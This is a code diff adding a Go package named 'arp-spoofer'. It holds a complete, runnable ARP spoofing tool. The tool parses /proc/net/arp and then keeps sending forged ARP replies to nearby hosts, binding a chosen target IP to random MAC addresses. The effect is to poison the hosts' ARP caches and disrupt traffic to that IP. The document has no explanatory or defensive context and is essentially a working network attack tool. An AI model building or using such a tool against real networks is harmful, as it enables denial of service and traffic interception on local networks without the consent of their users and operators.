arp-spoofer: new package

pkg/arp-spoofer/cmd/arp.go

@@ -0,0 +1,97 @@
+package main
+
+import (
+	"fmt"
+	"io/ioutil"
+	"log"
+	"math/rand"
+	"net"
+	"strings"
+	"time"
+
+	"github.com/mdlayher/arp"
+)
+
+var ARPTable string = "/proc/net/arp"
+
+type ARPEntry struct {
+	IP        net.IP
+	HWType    int
+	Flags     int
+	HWAddress net.HardwareAddr
+	Mask      string
+	Device    string
+}
+
+func ARPAnalyze() (ents []ARPEntry, err error) {
+	var content []byte
+	if content, err = ioutil.ReadFile(ARPTable); err != nil {
+		return
+	}
+
+	for _, line := range strings.Split(string(content), "\n") {
+		f := strings.Fields(line)
+		if len(f) > 5 {
+			var e ARPEntry
+
+			if _, err := fmt.Sscanf(f[1], "0x%x", &e.HWType); err != nil {
+				continue
+			}
+			if _, err := fmt.Sscanf(f[2], "0x%x", &e.Flags); err != nil {
+				continue
+			}
+
+			e.IP = net.ParseIP(f[0])
+			if e.HWAddress, err = net.ParseMAC(f[3]); err != nil {
+				continue
+			}
+			e.Mask = f[4]
+			e.Device = f[5]
+
+			ents = append(ents, e)
+		}
+	}
+
+	return
+}
+
+func ARPContainsIP(ents []ARPEntry, ip net.IP) *ARPEntry {
+	for i, e := range ents {
+		if e.IP.Equal(ip) && (e.Flags == 2 || e.Flags == 6) {
+			return &ents[i]
+		}
+	}
+
+	return nil
+}
+
+func ARPSpoof(iface *net.Interface, ipS net.IP) {
+	clt, err := arp.Dial(iface)
+	if err != nil {
+		log.Println("Unable to initiate ARP spoofing:", err)
+		return
+	}
+	defer clt.Close()
+
+	for {
+		ents, err := ARPAnalyze()
+		if err != nil {
+			time.Sleep(2 * time.Second)
+			continue
+		}
+
+		randHW := net.HardwareAddr{0, byte(rand.Intn(255)), byte(rand.Intn(255)), byte(rand.Intn(255)), byte(rand.Intn(255)), byte(rand.Intn(255))}
+
+		for _, e := range ents {
+			if e.IP[0] == ipS[0] && e.IP[1] == ipS[1] {
+				req := &arp.Packet{
+					SenderHardwareAddr: e.HWAddress,
+					SenderIP:           e.IP,
+				}
+				clt.Reply(req, randHW, ipS)
+			}
+		}
+
+		time.Sleep(150 * time.Millisecond)
+	}
+}

pkg/arp-spoofer/cmd/main.go

@@ -0,0 +1,26 @@
+package main
+
+import (
+	"flag"
+	"log"
+	"net"
+)
+
+func main() {
+	var ifacestr = flag.String("iface", "eth0", "Interface to use")
+	var ipspoof = flag.String("ip-spoof", "", "IP to ARP spoof")
+	flag.Parse()
+
+	iface, err := net.InterfaceByName(*ifacestr)
+	if err != nil {
+		log.Fatal("Unable to find interface to do ARP spoof:", err)
+	}
+
+	ipS := net.ParseIP(*ipspoof)
+	if ipS == nil {
+		log.Fatal("No IP given to ARP spoof. Skipping it")
+	}
+
+	// Start ARP spoofing
+	ARPSpoof(iface, ipS)
+}